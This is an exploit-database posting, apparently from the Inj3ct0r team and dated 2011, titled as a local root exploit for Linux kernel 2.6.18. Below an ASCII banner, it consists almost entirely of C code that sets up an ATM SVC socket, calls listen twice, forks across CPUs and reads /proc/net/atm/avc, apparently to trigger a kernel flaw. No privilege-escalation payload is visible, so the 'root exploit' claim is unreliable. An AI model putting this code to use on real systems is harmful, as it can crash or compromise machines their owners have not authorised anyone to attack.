====================================================
Linux kernel-2.6.18-6 x86 Local Root Exploit
====================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
                     1                                                 0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>

#define NUM_CPUS 8
#define ATM "/proc/net/atm/avc"

int
main(void)
{
    char *err, adurit[2000];
    int i, ret, sock, proc;
    struct atm_qos dj;
    struct sockaddr_atmsvc addr;



    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);


    memset(&dj, 0, sizeof(dj));
    dj.rxtp.traffic_class = ATM_UBR;
    dj.txtp.traffic_class = ATM_UBR;
    dj.aal = ATM_NO_AAL;


    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
    if (ret == -1) {
        printf("failed !\n");
        return 1;
    }
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;

    bind(sock, (struct sockaddr *) &addr, sizeof(addr));

    listen(sock, 10);
    listen(sock, 10);

    for (i = 1; i < NUM_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
    proc = open(ATM, O_RDONLY);
    ret = read(proc, &adurit, 2000);
    close(proc);

    return 0;
}


# [2011-10-06]